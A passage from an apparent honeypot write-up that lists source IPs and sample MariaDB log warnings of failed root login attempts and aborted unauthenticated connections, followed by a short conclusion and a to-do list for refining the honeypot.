Sources: 165.154.172.87 165.154.164.92 128.14.237.43 196.251.69.185 37.19.221.171 196.251.118.8 196.251.91.* 196.251.118.47 45.129.56.161 146.70.132.164 196.251.86.26 196.251.83.136 38.240.225.39

Example:

[Warning] Access denied for user 'root'@'196.251.80.168' (using password: NO)
[Warning] Access denied for user 'root'@'196.251.80.168' (using password: YES)
... 1, 2, 3, 13, 27, 28, 37 Wiederholungen

More complex access attempts using port probing and regular connect (15 x)

Sources: 8.219.222.66 47.250.81.7 8.219.222.66 34.76.203.56 8.221.136.6 47.254.192.213 (6 x)

Example:

[Warning] Aborted connection 1134 to db: 'unconnected' user: 'unauthenticated' host: '47.254.192.213' (This connection closed normally without authentication)
[Warning] Access denied for user 'root'@'47.254.192.213' (using password: NO)

Source: 45.150.237.21 (1 x)

Example:

[Warning] Aborted connection 22965 to db: 'unconnected' user: 'unauthenticated' host: '45.150.237.21' (This connection closed normally without authentication)
... 9 Wiederholungen
[Warning] Access denied for user ''@'45.150.237.21' (using password: NO)

Sources: 101.36.122.183 152.32.150.7 152.32.245.170 118.193.58.125 165.154.48.24 107.150.117.219 116.90.238.220 165.154.100.58 (8 x)

Example:

[Warning] Aborted connection 2816 to db: 'unconnected' user: 'unauthenticated' host: '165.154.100.58' (This connection closed normally without authentication)
... 0, 1 Wiederholungen
[Warning] Access denied for user ''@'165.154.100.58' (using password: NO)
[Warning] Access denied for user 'root'@'165.154.100.58' (using password: YES)
... 0, 48 Widerholungen

More complex access attempts using regular connect and port probing (3 x)

Source: 104.193.135.104 (1 x)

Example:

[Warning] Access denied for user 'root'@'104.193.135.104' (using password: NO)
[Warning] Aborted connection 47 to db: 'unconnected' user: 'unauthenticated' host: '104.193.135.104' (This connection closed normally without authentication)

Source: 196.251.91.18 (1 x)

Example:

[Warning] Access denied for user 'root'@'196.251.91.18' (using password: NO)
[Warning] Access denied for user 'root'@'196.251.91.18' (using password: YES)
... 3 Wiederholungen
[Warning] Aborted connection 1013 to db: 'unconnected' user: 'unauthenticated' host: '196.251.91.18' (This connection closed normally without authentication)

Source: 94.102.49.155 (1 x)

Example:

[Warning] Access denied for user 'root'@'94.102.49.155' (using password: NO)
[Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES)
... 1 Wiederholungen
[Warning] Aborted connection 1389 to db: 'unconnected' user: 'unauthenticated' host: '94.102.49.155' (This connection closed normally without authentication)
[Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES)
... 3 Wiederholungen

These patterns rarely occurred in the observed period.

Conclusion

Paying a ransom for cybercrime is not worth it!

Outlook / Todoes

Further points that could be clarified, refined and optimised next time:

  • Find out which passwords are being tried. Maybe patch MariaDB? (sql_acl.cc)
  • Provide some more exciting data and see what exactly happens.
  • Record several different attacks (filtered for IP?). Possibly from different countries (USA, China, Russia, Ukraine, ...)
  • You could also try running the honeypot with skip_grant_tables to enable access with a password?
  • log_warnings is set too verbose with 9. Maybe the default is enough?
  • Access with SSL only? See if someone already knows TLS.
  • Galera protocol? Was this really an attack or just a problem in the network/with the Galera cluster?
  • Play the same game with MySQL to see if there are other attack patterns.
  • Which other DB users are being attacked (CMS)?
Taxonomy upgrade extras: